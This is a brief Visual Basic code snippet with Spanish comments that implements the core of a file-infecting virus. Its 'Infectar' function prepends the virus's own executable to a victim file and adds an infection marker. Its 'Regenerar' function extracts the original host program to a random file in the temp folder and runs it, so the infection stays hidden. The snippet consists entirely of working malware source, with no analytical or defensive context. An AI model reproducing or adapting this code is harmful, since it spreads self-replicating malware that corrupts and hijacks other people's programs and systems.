Código
Public Function Infectar(sArchivo As String) Dim sMicodigo As String Dim sVictima As String Dim sNuevo As String Open sArchivo For Binary As #1 sVictima = Space(LOF(1)) Get #1, , sVictima Close #1 Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 sMicodigo = Space(LOF(1)) Get #1, , sMicodigo Close #1 sNuevo = sMicodigo & sVictima & "wG" 'Marca de infección Open sArchivo For Binary As #1 Put #1, , sNuevo Close #1 End Function 'Regenerar huesped Public Function Regenerar(sArchivo As String) Randomize Dim sBuffer As String Dim sVirus As String Dim sFinal As String sFinal = Environ("TMP") & "\" & Int((Rnd * 99999) + 3) & ".exe" Const vsc = 20480 'Tamaño del virus Open sArchivo For Binary As #1 sVirus = Space(vsc) sBuffer = Space(LOF(1) - vsc) Get #1, , sVirus Get #1, , sBuffer Close #1 Open sFinal For Binary As #1 Put #1, , sBuffer Close #1 Shell sFinal End Function